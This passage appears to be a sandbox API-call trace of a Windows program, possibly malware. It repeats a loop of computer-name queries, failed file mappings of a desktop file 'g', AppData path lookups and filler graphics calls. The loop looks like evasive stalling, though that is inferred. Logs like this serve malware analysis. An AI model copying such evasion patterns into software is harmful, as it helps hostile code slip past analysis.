out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.102] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.102] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.102] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.103] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.103] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.103] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.103] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.103] CloseHandle (hObject=0x0) returned 0 [0223.103] CloseHandle (hObject=0xffffffff) returned 1 [0223.103] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.103] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.103] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.103] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.103] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.103] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.103] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.103] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.103] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.103] CloseHandle (hObject=0x0) returned 0 [0223.103] CloseHandle (hObject=0xffffffff) returned 1 [0223.103] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.103] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.103] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.103] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.104] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.104] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.104] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.104] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.104] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.104] CloseHandle (hObject=0x0) returned 0 [0223.104] CloseHandle (hObject=0xffffffff) returned 1 [0223.104] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.104] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.104] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.104] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.104] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.104] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.104] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.104] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.104] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.104] CloseHandle (hObject=0x0) returned 0 [0223.104] CloseHandle (hObject=0xffffffff) returned 1 [0223.104] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.105] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.105] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.105] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.105] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.105] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.105] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.105] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.105] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.105] CloseHandle (hObject=0x0) returned 0 [0223.105] CloseHandle (hObject=0xffffffff) returned 1 [0223.105] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.105] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.105] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.105] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.105] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.105] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.105] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.105] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.105] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.105] CloseHandle (hObject=0x0) returned 0 [0223.105] CloseHandle (hObject=0xffffffff) returned 1 [0223.105] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.106] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.106] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.106] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.106] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.106] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.106] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.106] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.106] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.106] CloseHandle (hObject=0x0) returned 0 [0223.106] CloseHandle (hObject=0xffffffff) returned 1 [0223.106] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.106] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.106] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.106] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.106] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.106] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.106] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.106] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.106] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.106] CloseHandle (hObject=0x0) returned 0 [0223.106] CloseHandle (hObject=0xffffffff) returned 1 [0223.107] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.107] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.107] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.107] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.107] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.107] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.107] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.107] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.107] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.107] CloseHandle (hObject=0x0) returned 0 [0223.107] CloseHandle (hObject=0xffffffff) returned 1 [0223.107] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.107] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.107] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.107] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.107] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.107] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.107] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.107] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.107] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.108] CloseHandle (hObject=0x0) returned 0 [0223.108] CloseHandle (hObject=0xffffffff) returned 1 [0223.108] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.108] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.108] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.108] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.108] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.108] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.108] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.108] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.108] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.108] CloseHandle (hObject=0x0) returned 0 [0223.108] CloseHandle (hObject=0xffffffff) returned 1 [0223.108] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.108] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.108] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.108] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.108] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.108] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.108] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.108] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.109] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.109] CloseHandle (hObject=0x0) returned 0 [0223.109] CloseHandle (hObject=0xffffffff) returned 1 [0223.109] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.109] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.109] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.109] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.109] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.109] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.109] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.109] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.109] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.109] CloseHandle (hObject=0x0) returned 0 [0223.109] CloseHandle (hObject=0xffffffff) returned 1 [0223.109] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.109] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.109] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.109] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.109] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.109] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.110] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.110] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.110] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.110] CloseHandle (hObject=0x0) returned 0 [0223.110] CloseHandle (hObject=0xffffffff) returned 1 [0223.110] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.110] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.110] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.110] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.110] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.110] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.110] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.110] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.110] CloseHandle (hObject=0x0) returned 0 [0223.110] CloseHandle (hObject=0xffffffff) returned 1 [0223.110] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.110] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.110] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.110] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.111] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.111] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.111] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.111] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.111] CloseHandle (hObject=0x0) returned 0 [0223.111] CloseHandle (hObject=0xffffffff) returned 1 [0223.111] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.111] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.111] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.111] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.111] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.111] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.111] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.111] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.111] CloseHandle (hObject=0x0) returned 0 [0223.111] CloseHandle (hObject=0xffffffff) returned 1 [0223.111] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.111] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.111] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: 